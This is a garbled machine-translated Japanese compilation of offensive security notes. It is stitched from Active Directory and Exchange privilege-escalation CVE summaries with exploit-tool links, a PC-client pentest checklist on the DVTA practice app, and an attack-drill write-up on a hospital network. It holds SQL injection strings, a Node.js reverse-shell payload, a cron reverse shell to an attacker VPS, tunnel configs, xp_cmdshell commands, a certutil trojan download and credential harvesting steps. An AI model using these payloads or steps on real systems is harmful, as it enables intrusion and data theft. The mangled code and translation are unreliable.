https://cloud.tencent.com/developer/article/1837483

3.CVE-2021-4228742278

Windowsドメインサービスの許可の高さの脆弱性(CVE-2021-42287、CVE-2021-42278)は、Active Directory Domain Serviceが適切なセキュリティ制限を実装しておらず、セキュリティ制限によってバイパージできる許可エスカレーションをもたらすためです。攻撃者は、この脆弱性を悪用して、ドメイン内の通常のユーザー権をドメイン管理者の権利に引き上げることができます

脆弱性効果:

任意のドメインユーザーをドメイン管理アクセス許可に昇格させます

影響バージョン:

Windows Server 2012 R2(サーバーコアインストール)

Windows Server 2012 R2

Windows Server 2012(サーバーコアインストール)

Windows Server 2012

X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール)

x64ベースのシステムサービスパック用のWindows Server 2008 R2

X64ベースのシステムサービスパック2のWindows Server 2008(サーバーコアインストール)

X64ベースのシステムサービスパックのWindows Server 2008 2

32ビットシステムサービスパック2のWindows Server 2008(サーバーコアインストール)

32ビットシステムサービスパックのWindows Server 2008 2

Windows Server 2016(サーバーコアインストール)

Windows Server 2016

Windows Server、バージョン20H2(サーバーコアインストール)

Windows Server、バージョン2004(サーバーコアインストール)

Windows Server 2022(サーバーコアインストール)

Windows Server 2022

Windows Server 2019(サーバーコアインストール)

Windows Server 2019

使用条件:

(1)共通ドメインメンバーアカウント

(2)ドメインユーザーは、マシンユーザーを作成する許可を持っています(一般的なデフォルトのアクセス許可)

(3)DCはKB5008380またはKB5008602にパッチを適用していません

使い方:

https://github.com/wazehell/sam-the-admin

https://github.com/ridter/nopac

https://blog.csdn.net/fhlzlhq/article/details/121964692

4.CVE-2021-1675/CVE-2021-34527

PrintnightMareこの脆弱性は当初CVE-2021-1675であり、その後MicrosoftはCVE-2021-34527に脆弱性を割り当て、2つの脆弱性は非常に似ているが、攻撃ベクターは異なると述べました。

Print Spoolerは、印刷関連のトランザクションを管理するWindowsのサービスです。すべてのローカルおよびネットワーク印刷キューを管理し、すべての印刷作業を制御するために使用されます。プリントスプーラーサービスは、Windowsシステムでデフォルトで有効になっており、通常のユーザーはこの脆弱性を使用して、システム管理の許可にアップグレードできます。

脆弱性効果:

認証されていないリモート攻撃者は、この脆弱性を悪用して、システム許可を使用してドメインコントローラー上の任意のコードを実行し、ドメイン全体の制御を獲得することができます。

影響バージョン:

Windows Server 2012 R2(サーバーコアインストール)

Windows Server 2012 R2

Windows Server 2012(サーバーコアインストール)

Windows Server 2012

X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール)

x64ベースのシステムサービスパック用のWindows Server 2008 R2

X64ベースのシステムサービスパック2のWindows Server 2008(サーバーコアインストール)

X64ベースのシステムサービスパックのWindows Server 2008 2

32ビットシステムサービスパック2のWindows Server 2008(サーバーコアインストール)

32ビットシステムサービスパックのWindows Server 2008 2

Windows RT 8.1

X64ベースのシステム用Windows 8.1

32ビットシステム用のWindows 8.1

X64ベースのシステムサービスパック用Windows 7

32ビットシステムサービスパック用のWindows 7

Windows Server 2016(サーバーコアインストール)

Windows Server 2016

X64ベースのシステム用Windows 10バージョン1607

32ビットシステム用のWindows 10バージョン1607

X64ベースのシステム用Windows 10

32ビットシステム用のWindows 10

Windows Server、バージョン20H2(サーバーコアインストール)

ARM64ベースのシステム用のWindows 10バージョン20H2

32ビットシステム用のWindows 10バージョン20H2

X64ベースのシステム用Windows 10バージョン20H2

Windows Server、バージョン2004(サーバーコアインストール)

X64ベースのシステム用Windows 10バージョン2004

ARM64ベースのシステム用のWindows 10バージョン2004

32ビットシステム用のWindows 10バージョン2004

32ビットシステム用のWindows 10バージョン21H1

ARM64ベースのシステム用のWindows 10バージョン21H1

X64ベースのシステム用Windows 10バージョン21H1

ARM64ベースのシステム用のWindows 10バージョン1909

X64ベースのシステム用Windows 10バージョン1909

32ビットシステム用のWindows 10バージョン1909

Windows Server 2019(サーバーコアインストール)

Windows Server 2019

ARM64ベースのシステム用のWindows 10バージョン1809

X64ベースのシステム用Windows 10バージョン1809

32ビットシステム用のWindows 10バージョン1809

利用シナリオ

ワーキンググループ環境では、この脆弱性を通じて最高のシステム許可を取得できます。ドメイン環境では、直接攻撃ドメインコントローラーは、ドメイン制御のシステム許可を取得し、任意のコードを実行できます。永続的な操作に使用できます。ドメインコントロールを取得した後、共有ディレクトリのDLLは共有ディレクトリがあり、ドメインコントロールにアクセスできる場合にリモートにロードできます。利用の条件

ターゲットは、スプーラーサービスを有効にします。通常の権限を持つドメインアカウント。作成されたSMBサービスにより、匿名アクセスが可能になります。つまり、ターゲットはファイルを直接取得できます。使い方

https://github.com/cube0x0/cve-2021-1675

https://github.com/cube0x0/impacket

https://github.com/3gstudent/invoke-buildanonymoussmbserver

https://bewhale.github.io/posts/29501.html

https://mp.weixin.qq.com/s/1sr0wtyjff5unupjtj-dww

5.CVE-2019-1040

2019年6月、Microsoftはセキュリティアップデートをリリースしました。この更新により、CVE-2019-1040の脆弱性が修正されます。この脆弱性では、攻撃者は、中間攻撃を介してNTLM MIC(メッセージ整合性チェック)保護をバイパスし、ターゲットサーバーへの認証トラフィックを中継することができます。

脆弱性効果

この攻撃により、攻撃者は、1つの通常のドメインアカウントのみが利用可能な場合、ドメイン制御サーバーを含むWindowsドメイン内の任意のマシンをリモート制御できます。

影響バージョン

Windows 7 SP1からWindows 10 1903

Windows Server 2008からWindows Server 2019

利用シナリオ

特定の環境では、CVE-2019-1040の脆弱性の攻撃チェーンが2つの攻撃方法で特定されています。

1。Exchange Serverドメインを攻撃します(以下のこの方法で説明)

2。攻撃ドメイン広告サーバー(リソースベースの制約代表団と組み合わせて)

利用の条件

A. Exchange Serverは、任意のバージョン(PrivexChange用にパッチされたバージョンを含む)にすることができます。唯一の要件は、交換が共有権限またはRBACモードにインストールされたときにデフォルトで高い権限を持つことです。 B.ドメイン内のアカウント。 (Spoolserviceエラーを生成するための唯一の要件は、認証されたドメイン内アカウントであるため)C。CVE-2019-1040の脆弱性の本質は、NTLMパケット整合性検証に欠陥があることです。この攻撃チェーンでは、攻撃者はSMBからLDAPへの転送を防ぐパケット内のフラグを削除しました。 D.エクスチェンジサーバーが攻撃者に認証され、LDAPを介して認証をドメインコントローラーにリレーできるようにするリクエストを作成します。これにより、リレー被害者の許可を使用してActive Directoryで操作を実行できます。たとえば、攻撃者のアカウントにDCSYNC許可を付与します。 E.信頼できるがまったく異なる広告フォレストにユーザーがいる場合、ドメインでまったく同じ攻撃を実行することもできます。 (認証されたユーザーがスプールサービスの逆接続をトリガーできるため)

脆弱性エクスプロイト攻撃チェーン

1.ドメイン内の任意のアカウントを使用して、SMBを介して攻撃されたExchangeサーバーに接続し、リレー攻撃サーバーを指定します。同時に、spoolserviceエラーを使用して逆SMBリンクをトリガーする必要があります。 2。リレーサーバーは、SMBを介して攻撃者のホストに戻り、NTLMRELAYXを使用して、LDAPへのCVE-2019-1040の脆弱性を使用してNTLM認証データを変更した後、SMBリクエストパケットをリレーします。 3.リレーしたLDAP認証を使用します。この時点で、Exchange Serverは攻撃者のアカウントにDCSYNC許可を付与できます。 4.攻撃者のアカウントは、DCSYNCを使用して、ADドメインのすべてのドメインユーザーパスワードのハッシュをダンプします(ドメイン管理者のハッシュを含み、ドメイン全体が削除されました)。

使い方:

https://github.com/secureauthcorp/impacket

https://github.com/dirkjanm/krbrelayx

https://github.com/ridter/cve-2019-1040

https://github.com/ridter/cve-2019-1040-dcpwn

同じネットワークセグメント:https://www.freebuf.com/vuls/274091.html

トンネルの下:https://zhuanlan.zhihu.com/p/142080911

CVE-2019-1040+RBCD(リソースベースの結合委任)+PetitPatom

6。ドメイン委任攻撃

https://mp.weixin.qq.com/s/gdmnlskjxhela4guwxtkq

7.NTLMリレー

https://www.anquanke.com/post/id/1931493https://www.anquanke.com/post/id/1934933https://www.anquanke.com/id/1940693https://www.anquanke.com/post/id/194514

8。ADCS脆弱性-ESC8(Petitpotam)(ADCSリレー)

ADCS認証はNTLM認証をサポートするため、ESC8はHTTP NTLMリレーです。

脆弱性効果:

通常のドメインユーザーをドメイン管理権限に昇格させます

使用条件:

1. ADCSへのパッチはありません2。2つのドメインコントロールがあります3。ADCSサービスがあります

使い方:

https://blog.csdn.net/qq_43645782/article/details/119322322

https://forum.butian.net/share/1583

9。ADCS脆弱性- CVE-2022–26923

脆弱性インパクト:を使用すると、低主権のユーザーは、アクティブディレクトリ証明書サービス(AD CS)サーバーの役割を備えたデフォルトのActive Directory環境でドメイン管理者へのアクセス許可を高めることができます。

脆弱なコンポーネント:Active Directory証明書サービス(広告CS)

脆弱性の簡単な説明:マシンアカウントを構築し、DNSHOSTNAME属性を改ざんすることにより、AD CSは証明書を申請するときにDNSHOSTNAME属性を証明書に埋め込み、マシンアカウントは高権限のあるドメイン制御アイデンティティを取得します。

影響を受けるWindowsバージョン:

Windows 8.1

Windows 10バージョン1607、1809、1909、2004、20H2、21H1、21H2

Windows 11

Windows Server 2008、2016、2019、2022

使用率の前提条件:

CVE-2022-26923/CVE-2022-26931脆弱性は、2021 CVE-2021-42278/CVE-2021-42287SAMACCOUNTNAMEスプーフィングの脆弱性に似ています。どちらもForgedドメインコントローラー名IDを使用して、関連する特権操作操作を実行します。その利用の前提条件は次のとおりです。

特権エスカレーションの脆弱性は、Windows Server 2012 R2からWindows Server 2022への現在Microsoft製品サポート範囲内のすべてのWindows Server Active Directoryバージョンや、製品サポート範囲を超えた古いWindows Serverバージョンを含むすべてのWindows Server Active Directoryバージョンに適用されます。侵入者は、Activeディレクトリ内の少なくとも1つのコンピューターアカウントの「DNSホスト名への書き込み」許可を「検証した」許可を取得した少なくとも1つのActive Directoryユーザーアカウントを制御します。デフォルトでは、単一のActive Directory Normal Domainユーザーは、アクティブなディレクトリに10のコンピューターアカウントを参加または作成し、作成/作成したコンピューターアカウントの作成者オーナーの管理権許可(「DNSHOST名への検証済みの書き込み」を含む)を含むことができます。したがって、この許可は簡単に取得できます。エンタープライズ証明書サービスはActive Directoryに展開され、上記の制御されたコンピューターアカウントがコンピューター認証証明書を申請できるようにします。エンタープライズ証明書サービスは、Active Directoryに広く展開されている関連する基本サービスであり、デフォルトでは、Active Directoryと統合されたエンタープライズ証明書サービスにより、ドメイン内のコンピューターがデフォルトでコンピューター認証証明書を適用できます。複製リファレンス:

https://forum.butian.net/share/1578

https://forum.butian.net/share/1583

10。交換に関連して、Exchange Serverを制御できます

交換はドメインで重要な役割を果たします。一般的に言えば、Exchangeサーバーへのアクセス許可を取得することは、基本的にドメイン管理に権限を取得することと同等です。 Exchangeサーバーを取得すると、ドメインマネージャーが直接ログインする可能性が高くなります。または、ドメインマネージャーがログインしました。ExchangeServerのアクセス許可を取得すると、ドメイン制御Cドライブを直接監視して許可があるかどうかを確認することができます。許可がない場合は、Mimikatzを使用してパスワードの波をキャッチしてみてください。ドメインマネージャーまたは承認されたユーザーを直接キャッチできる可能性が高いです。さらに、サーバーのより高いバージョンでも、ExchangeでPlantextパスワードをキャッチできます。

11.CVE-2018-8581(ドメインコントロールを使用)

脆弱性の説明:

この脆弱性は、SSRFとExchangeサーバーの高額なリクエストを活用して、正当なメールボックス資格情報を持つユーザーがドメイン管理許可に昇格するようになります。

衝撃の範囲:

Exchange Server 2010

Exchange Server 2013

Exchange Server 2016

使用条件:

デフォルトでは、攻撃者は正当なメールボックスユーザー資格情報を持っています。同時に、エクスプロイトはNTLMリレーを通じて権限を高めているため、攻撃者はすでにイントラネット環境で利用可能なホストを取得する必要があります。

脆弱性の紹介:

脆弱性はいくつかの面で発生します。

まず、Exchangeを使用すると、ユーザー(認証されている限り)がEWSインターフェイスを介してプッシュサブスクリプション(プッシュサブスクリプション)を作成し、通知プッシュの宛先としてURLを指定できます。第二に、通知がプッシュにサブスクライブされた後、Exchangeはプッシュがトリガーされたときに資格情報クラスのDefaultCreDentialsプロパティを使用します。 EWSはシステム許可を得て実行されるため、DefaultCreDentialsを使用するときに発行されたHTTP要求は、この許可を使用してNTLM認証を開始します。 EWSリクエストでは、ヘッダーでSerializedSecurityContextを使用することにより、SIDを指定することで、IDのマスカレードを実装できるため、指定されたユーザーとしてEWSコールオペレーションを実行できます。言い換えれば、[Exchangeサーバーを制御してHTTPプロトコルのNTLM要求を開始して、Exchange MachineユーザーのNet-NTLMハッシュを取得できるようにします]

このエクスプロイトにはNTLMによるリプレイ攻撃が含まれるため、考えるのは簡単なことは、クレデンシャルをドメイン制御マシンに再生することです。リプレイされたNTLM資格情報はExchangeサーバーのマシンユーザー許可から得られるため、LDAPセクションのリレーの説明によると、Exchange Machineユーザーには書き込みACLアクセス許可があり、ユーザーにアクセス許可を上げてDCSYNC許可を与え、それによってすべてのパスワードハッシュをダンプすることができます。

サーバーが署名を必要とするかどうか:

リレーするサーバーはLDAPです。前のセクション[LDAP署名]では、LDAPサーバーのデフォルトポリシーはネゴシエートされた署名です。署名するかどうかは、クライアントによって決定されます。クライアントは状況に分かれています。 SMBプロトコルの場合、署名はデフォルトで必要です。 WebADVまたはHTTPプロトコルの場合、署名は必要ありません。

この脆弱性で開始された要求はHTTPプロトコルです。つまり、何もする必要はなく、この脆弱性に署名を必要としません。

Exp :

https://github.com/ridter/exchange2domain

#ntlmrelayx.py+privexchange.py+secretdump.pyを使用することもできます

https://github.com/dirkjanm/privexchange

https://github.com/secureauthcorp/impacket

複製については、この記事を参照してください。

https://www.jianshu.com/p/e081082cbc73 CVE-2020-0688(RCE)脆弱性説明:攻撃者がさまざまな手段を通じてExchangeコントロールパネル(ECP)コンポーネントにアクセスできるユーザーアカウントパスワードを取得した場合、攻撃された交換のコードを実行し、サーバーの任意を直接取得できます。

利用条件:Exchange Server 2010 SP3/2013/2016/2019、通常のアカウント。

攻撃スクリプト:

https://github.com/zcgonvh/cve-2020-0688

https://github.com/random-robbie/cve-2020-0688

再現:

https://www.anquanke.com/post/id/226543#h3-13

12.CVE-2020-17144(RCE)

脆弱性の説明:リモート攻撃者は、認証をバイパスし、特別なcmdletパラメーターを構築することで脆弱性を活用できます。

0x00はじめに

このプロジェクトは、主にPCクライアント(CSアーキテクチャ)の浸透テストをターゲットにしており、独自のテストエクスペリエンスとネットワークデータを組み合わせてチェックリストを形成します。ご質問がある場合は、お問い合わせください。さらに、より多くのスキルとケースを提供してください。

0x01概要

PCクライアント、豊富な機能を備えたGUI、C-Sアーキテクチャ。

1049983-20221108104634024-1259424875.jpg

0x02開発言語

C#(.NET)、Java、Delphi、C、C ++ .

0x03プロトコル

TCP、HTTP(S)、TDS .

0x04データベース

Oracle、MSSQL、DB2 .

0x05テストツール

//関連ツールのダウンロード:https://github.com/thelsa/hack-cs-tools

DVTA:PCクライアントシューティングレンジ

IDA Pro:静的分析ツール

ollydbg:動的分析ツール

CFFエクスプローラー:PEファイル分析

PEID:シェルチェックツール

ExeinFope/Studype:PEファイル分析

Wireshark:トラフィックを観察します

TCPView:TCPトラフィックを観察します

エコーミラージュ:TCPトラフィックを傍受できます

BURPSUITE:HTTP(S)パケットキャプチャ

プロキシファイア:グローバルプロキシトラフィック

Procmon:ファイルとレジストリの監視

Regshot:レジストリの変更比較

プロセスハッカー:プロセス分析

regfromApp:レジストリ監視

wsexplorer:年間アライアンスプロセスパケットキャッチツール

文字列:プログラムの文字列を表示します

.net [anti] compilation:

dotpeek

de4dot

dnspy

ilspy

sae

イルダム

ilasm

Javaの逆コンパイル

ジャド

jd-gui

JADX

dex2jar

オンラインバージョン:

Javare.cn

www.javadecompilers.com

Reflexil:アセンブリエディター(ILSPYプラグインとして使用できます)

VCG:自動コード監査ツール

Binscope:Binscope

0x06エージェント設定

ほとんどのクライアントにはプロキシ構成関数がなく、次のようにグローバルプロキシをセットアップする必要があります。

1)IEインターネット設定と接続-LAN設定。

2)プロキシフィア - プロキシサーバー/プロキシフィスルール

//HTTPのトラフィックをBurpsuiteと組み合わせることで、簡単にテストすることができます(プロキシサーバーはプロキシアドレスに設定されます)。

1049983-20221108104634768-958814794.jpg 1049983-20221108104635462-1302757946.jpg 1049983-20221108104636140-1382229849.jpg

0x07テストポイント

0。 情報収集

コンピレーション情報、開発環境/言語、使用法プロトコル、データベース、IP、難読化/暗号化、シェルなど。

ケース0-CFFクライアント情報を表示(コンピレーション環境など)

DVTA

1049983-20221108104636932-933767068.jpg

1。リバースエンジニアリング

逆コンパイル、ソースコードリーク、ハードコーディングキー/パスワード、暗号化され、復号化されたロジック、役割判断ロジック(0-Admin、1-ノルマルーザー)、バックドアなど。

ケース0-暗号化と復号化ロジックを取得し、復号化ツールを書き込むための逆コンパイル

DVTA

1049983-20221108104637715-765430904.jpgこのロジックと1049983-20221108104638416-2062982296.jpgの導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報

AES KEY:J8GLXC454O5TW2HEF7HAHCXPUFJ9V8K8

IV:FQ20T0GMNXA6G0L4

復号化ツールを書きます

システムの使用。 System.collections.genericを使用しています。 System.comPonentModelを使用しています。 System.Dataを使用しています。

System.drawingを使用しています。

System.linqを使用しています。

System.textを使用しています。

System.threading.tasksを使用しています。

system.windows.formsを使用しています。

System.security.cryptographyを使用します。

名前空間aesdecrypt

{

パブリック部分クラスaesdecrypt :フォーム

{

public aesdecrypt()

{

initializeComponent();

}

private void decrypt(オブジェクト送信者、eventargs e)

{

string key="j8glxc454o5tw2hef7hahcxpufj9v8k8";

文字列iv="fq20t0gmnxa6g0l4";

string encryptedtext="ctsvjz0jqghxywbsrcpxpq==";

byte [] encryptedbytes=convert.frombase64string(encryptedText);

aescryptoserviceprovider aes=new aescryptoserviceprovider();

aes.blocksize=128;

aes.keysize=256;

aes.key=system.text.asciiencoding.ascii.getBytes(key);

aes.iv=system.text.asciiencoding.ascii.getBytes(iv);

aes.padding=paddingmode.pkcs7;

aes.mode=ciphermode.cbc;

icryptotransform crypto=aes.createdecryptor(aes.key、aes.iv);

byte [] decryptedBytes=crypto.transformfinalblock(encryptedbytes、0、encryptedbytes.length);

string decryptedstring=system.text.ascieencoding.ascii.getString(decryptedbytes);

console.writeLine( "\ n");

Console.WriteLine( "############### Decryptデータベースパスワード############# \ n");

console.writeLine( "Decrypted Database password:" + DecryptedString + "\ n");

console.writeLine( "############## DONE ############### \ n");

}

}

}

//https://resources.infosecinstitute.com/damn-vulnerable-client-app-part-5/#articleから発信された復号化コード

ケース1-コードロジックを逆コンパイルして変更して、通常のユーザーが管理者としてログインできるように

DVTA

1-イザドミン

0-ノルマルサー

1を0に変更して、管理者を決定します

1049983-20221108104639124-63071411.jpg 1049983-20221108104639654-178729771.jpg

2。情報漏れ

プレーンテキストに敏感な情報、機密ファイル(インストールディレクトリのxxx.configなど)。

レジストリ:Regshotを使用して、クライアントの実行前後のレジストリの違い(ログインなど)を比較します。

開発およびデバッグログリーク(DVTA.EXE LOG.TXTなど)

プロセスハッカーは、クライアントメモリに単純なテキストに敏感なデータ(アカウントパスワード/キーなど)を表示します。

文字列は、クライアント文字列(IP情報など)を直接表示します。

ソースコード(Github、Giteeなどなど)を表示

ケース0コンフィ分率の機密情報漏れ

DVTA

1049983-20221108104640337-185140653.jpg

ケース1メモリーリークデータベースアカウントパスワード

DVTA

1049983-20221108104641053-86634704.jpg

ケース2-ソースコードには、ハードコーディングされたFTPアカウントパスワードが含まれています

DVTA

1049983-20221108104641808-1344115235.jpgケース3開発およびデバッグログリーク

DVTA

1049983-20221108104642490-566933343.jpg

ケース4-特定のシステムにログインした後、アカウントパスワードをローカルに保存する1049983-20221108104643196-1110193214.jpg //

FTPなどのプロトコルによってプレーンテキストで送信されたアカウントパスワード

SQLステートメントプレーンテキストトランスミッション(コンストラクトインジェクション、過剰柔軟性などの使用など)

ケース0 -Zhengfang Academic Affairs System SQL Statement送信プレーンテキスト、プレーンテキストデータを返します

1049983-20221108104643906-438017818.jpg 1049983-20221108104644569-294447733.jpg

//このケースはウーユから来ています

ケース1-データパケットは、特定のシステムログインでデータベースアカウントパスワードを返します

1049983-20221108104645325-238625889.jpg

3。トランスミッショントラフィック

4。その他の脆弱性

ケース0

1049983-20221108104646023-1455694132.jpg 1049983-20221108104646723-650031357.jpg :01010ログイン機能など。

ケース0

1049983-20221108104647308-1028946722.jpg

ユーザー名列挙

Admin 123456などを試すことができます。

ブルートフォースの亀裂

弱いパスワード

ケース0

1049983-20221108104648098-1704429592.jpgケース1 1049983-20221108104648889-383046263.jpg :010ログインの場合、ユニバーサルパスワード

xxx ’または「x」=’ x

xxx ’または1=1--

入力ボックスで、 '、'、 'などの閉じたエラーを作成します)、%')、100 ---などで注文

データは、ディスプレイビットまたはエラーを使用して注入されます。原則はWebインジェクションと同じであり、異なるデータベースは類似しています。

症例0オラクル注入

'Union Select Null、null、(dualの選択ユーザーを選択)、null、null、(sys.v_ $ hwore where rownum=1からselect banner=1)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null -

1049983-20221108104649612-1122024135.jpgケース1-MSSQL注射

111 ')および(ユーザーを選択)0--

1049983-20221108104650282-856059893.jpg

個人的なクリアテキスト送信

Excelをエクスポートする場合は、1+1を入力して、エクスポート後2かどうかを確認します。

電子、nodewebkitなどの

sqlステートメントが公開されました

ケース0-Chinese Ant Sword XSSからRCE

環境:WIN7+PHPSTUDY(PHP5.6.27-NTS)+PERL+NC+ANTSWORD2.0.5

XSS WebShell:

?php

ヘッダー( 'http/1.1 500 img src=#onerror=alertx');

1049983-20221108104650932-527561671.jpgWindows+node.js:

成功

var net=require( 'net')、sh=require( 'child_process')。exec( 'cmd.exe');

var client=new Net.Socket();

client.connect(6677、 '127.0.0.1'、function(){client.pipe(sh.stdin); sh.stdout.pipe(client);

sh.stderr.pipe(client);});

?php

ヘッダー( 'HTTP/1.1 500 NOT IMG SRC=#ONERROR=' Eval(newバッファー(dmfyig5ldca9ihjlcxvpcmuoim5ldciplcbzaca9ihjlcxvpcmuoimnoawxkx3byb2nlc3miks 5Legvjkcjbwquzxhliik7cnzhcibjbgllbnqgpsbuzxcgbmv0llnvy2tldcgpowpjbgllbnquy29ubmvj dcg2njc3lcaimti3ljaumc4xiiwgznvuy3rpb24okxtjbgllbnqucglwzshzac5zdgrpbik7c2guc3rkb3 v0lnbpcguoy2xpzw50ktskc2guc3rkzxjylnbpcguoy2xpzw50ktt9kts=、base64).toString()) '');

1049983-20221108104651615-404403462.jpg関連するリファレンス

https://www.anquanke.com/post/id/176379

コマンド実行

ケース0-EverNoteWindowsクライアント6.15ローカルファイルの読み取りとリモートコマンドの実行http://BLOG.KNOWNSSEC.COM/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AEB0-WINDOWS-E5%AE%A2%E6%88%B7%E7%ABATAF-ACAF-6-15-%% E6%A6 9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e5%92%8c%e8%bf%9c%

ケース1-AクラウドPCクライアントコマンド実行マイニングプロセス

https://www.secpulse.com/archives/53852.html

ケース2-Kingsoft WPSメールメールクライアントリモートコマンド実行の脆弱性(MozillaベースのXULプログラム利用のヒント)

https://shuimugan.com/bug/view?bug_no=193117

テストポイントはWebと同じです。

dll hijacks linuxファイル検索注文:

現在のディレクトリパス注文値ディレクトリプログラム検索DLL注文:

//絶対パスは提供されていません

1.アプリケーションがロードされるディレクトリ。

2。現在のディレクトリ。

3。SystemDirectory(C: \ Windows \ System32 \)。

4.16ビットシステムディレクトリ。

5。Windowsディレクトリ。

6。パス変数のディレクトリ。

このプログラムは、攻撃者によって配置された悪意のあるDLLをロードできます。

Procmonを使用して、プログラムによってロードされたDLLを検索し、見つからない名前を観察します。

MSFは悪意のあるDLLを生成し、プログラムの読み込み場所に配置します。プログラムを実行すると、ペイロードをトリガーできます。

ケース0-dllハイジャック

DVTA

1049983-20221108104652298-1657972408.jpg 1049983-20221108104653027-338832542.jpg

SQL注入

テストポイントはWebと同じです。

CSV注入

レジストリキー値、承認サーバーは情報構築を返します。

関連するリファレンス

https://cloud.tencent.com/developer/article/1430899

xss

ケース0 Zhengfang Academic Affairs Systemデータベースの任意の操作

IPを知ることでデータベースを引き継ぐことができます

0x00最初に単語を書きます

今回は、攻撃的および防御的な攻撃は非常に興味深いものでした。最初は、コンピューターは非常にイライラしていました。最終的に、コンピューターがなかった場合、彼は販売されたコンピューターのみを使用して乱用しました。

image.png

しばらくすると、私たちのプライベートターゲットは排除されました。今回は、ターゲットユニットではなく、各チームのルールとシステムにまだいくつかの問題がありました。他の人は、私たちのプライベートターゲットの一部を基本ポイントとデータポイントに割り当て、その後排除されました。その後、彼らは100パスポイントしか得点しませんでした。 Old 6は私たちのプライベートターゲットを見つめていました。オフィスには持っていなかった穴があり、ターゲットがリリースされるとすぐに着用しました。それはあまりにもいたずらであると非難されました。

ランキングは理想的で、最終ランキングは3番目でした。バックエンドサポートのない2人の技術的な兄弟と一緒にトップ3にランクされても大丈夫でした。最初の2人のヘビー級はチャンピオンシップを持っていませんでした。 1つは0dayともう1つの有名なバックエンドサポートを提出しました。最終的に、トップ2のスコアは私たちのスコアよりも半分以上高かった。

ナンセンスについて話した後、コンテンツを始めましょう。厳格なコードマスターを非難しないでください。記事の最後に、マスターはコメントを残してコミュニケーションをとることができます。

0x01ターゲット

外部ネットワークに対する病院の弱いパスワード

初日、私はプライベートターゲットとパブリックターゲットを分割しました。このターゲットは、パブリックプールのターゲットです。幸いなことに、外部ネットワーク上のパスワードが弱いです。主なことは、IPアドレスを知ることです。イントラネットに突入するとき、技術的なコンテンツはありません。目標は、公式のウェブサイトの住所を与えることです。他のチームのマスターがクラウド上の公式ウェブサイトIPに行ったと推定されています。その後、情報科学部門向けに専用の共有サーバー上のパスワードファイルを介してすべてのアクセス許可を取得しました。

攻撃パス

image.png

次に、上の写真にマークされたシリアル番号に従って、イントラネット攻撃プロセスについて説明します。

パス1/パス2外部ネットワークの弱いパスワード

ここでは、このターゲットIPがどのように生まれたかについて説明します。 Cセグメント情報をIPアドレスから収集して、H3Cデバイスを見つけます。デフォルトの監査アカウントパスワードにログインし、コンソールに移動して、対応する承認情報を確認して、ターゲットIPアドレスであることを確認します。ただし、監査アカウントにはVPNトンネルを構成する許可がないため、フルポートスキャンを行い、標準以外のポートSSHの弱いパスワードを見つけました。サーバー許可を取得した後、最初にリバウンドシェル計画タスクを実行しました。

Crontab -eedit計画タスク

bash -c 'exec bash -i/dev/tcp/you vps ip/you vpsポート1'

計画されたタスクを終了した後にスキャンするためにFSCANに行くだけで、イントラネットに多くの弱いSSHとMSSQLのパスワードがあることがわかりました。私は、しばらくの間、アクションがあまりにも大きくなるのを防ぐために、さらにいくつかのSSHリバウンドシェル計画タスクを作成しました。

image.png

イントラネットで多くの弱いパスワードを取得できます。 FRPを作成して、イントラネットにアクセスしてしばらく翻訳し、対応するコンパイルされたバージョンをダウンロードしやすくします。

プロジェクトアドレス:https://github.com/fatedier/frp

FRPサーバー

[一般]

bind_port=8945

FRPクライアント

[一般]

server_addr=you vps ip

server_port=8945

tls_enable=ture

pool_count=5

[Plugin_socks]

type=tcp

remote_port=35145

プラグイン=socks5

#certification認証なしで次の2行を削除します

plugin_user=admin

plugin_passwd=admin@123

use_encryption=true

use_compression=true

VPSで実行します

./FPRS -C FRPS.INI

スプリングボードマシンで実行します

./fprc -c frpc.ini

接続が問題であることを確認した後、背景にはnohup。 Tencent CloudやAlibabaなどのVPSを使用する場合は、ポートグループの対応するポートを開くことを忘れないでください。そうしないと、接続を行うことができず、プロキシファイアは必ず利用可能です。

image.png

パス3操作およびメンテナンスマシン

ここに、今すぐスキャンされたMSSQLの弱いパスワードを使用する操作およびメンテナンスターミナルホストがあります。

#xp_cmdshellを有効にします

exec sp_configure 'show dibanced options'、1; reconfigure; exec sp \ _configure 'xp_cmdshell'、1; reconfigure;

#コマンド実行

exec master.xp_cmdshell 'whoami'

関連記事

https://www.cnblogs.com/websecyw/p/11016974.html

コマンドの通常の実行がシステムの許可であることを確認し、Certutil Trojanをオンラインでダウンロードし、パスワードをキャッチした後、管理者がデスクトップをオンラインでデスクトップに行かないことを確認してください。

image.png

パス4サーバーのすべての権限

ターミナルにリモートで行く場合にのみ、このマシンが操作およびメンテナンスマシンであることを知っていました。 SQL Server Connection Softwareが端末に開かれ、上記のコマンドがXP_CMDSHELLがコマンドを実行できるようにするために使用されます。ここでは、SQL Serverデータベースが実に操作を実行しており、許可はSQL Serverサービスの許可です。

image.png

私が馬に乗っていたとき、私はいつも問題がありました。許可が低すぎました。 Huofeng Enterprise Editionがオンになりました。 TEMPディレクトリは書き込まれていないため、SQL Server Permissionsのみを取得しました。テスト後、私はまだhuofengをオフにすることができませんでした。 SQLサーバーのアクセス許可が低かったはずです。その後、Huofengコンソールがファイルを配布し、Maoziを自動的に実行できることがわかりました。これは後で再現でき、環境を研究できます。

image.png

ブラウザによって保存されたパスワードを確認してください。 Firefoxブラウザは、ターコイズコンソールのアカウントパスワードと、他のいくつかのプラットフォームのアカウントパスワードを保存します。パスワードを収集した後、パスワードにぶつかることができます。

image.png

すべてのファイルでキーワードを検索し、サーバーと端末のファイルを慎重にめくると、予期しない結果が得られるかもしれません。

パスワード|情報部門|資産テーブル|トポロジ|アカウント|機器|パス|ユーザー| config |管理|計画

エレリティングの高度な使用(正規表現)では、コンテンツを使用してファイルコンテンツを検索することもできます。ファイルコンテンツの検索は遅くなります。

関連する記事https://www.jiansshu.com/p/9c0ab75a264f

コンピューターでデバイスのパスワード情報とトポロジー情報を見つけました

image.png

デバイスサーバーに関するすべての情報

image.png

基本的に、すべてのネットワークデバイスとサーバーアクセス許可が利用可能です。ここでは、パスワードをバンプするためにパスワードを並べ替えます。パスワードを整理するとき、このパスワードは通常のパスワードであることがわかりました。パスワードルールを整理し、ソーシャルワーカーのパスワード生成スクリプトを使用して、いくつかのパスワードを生成します。

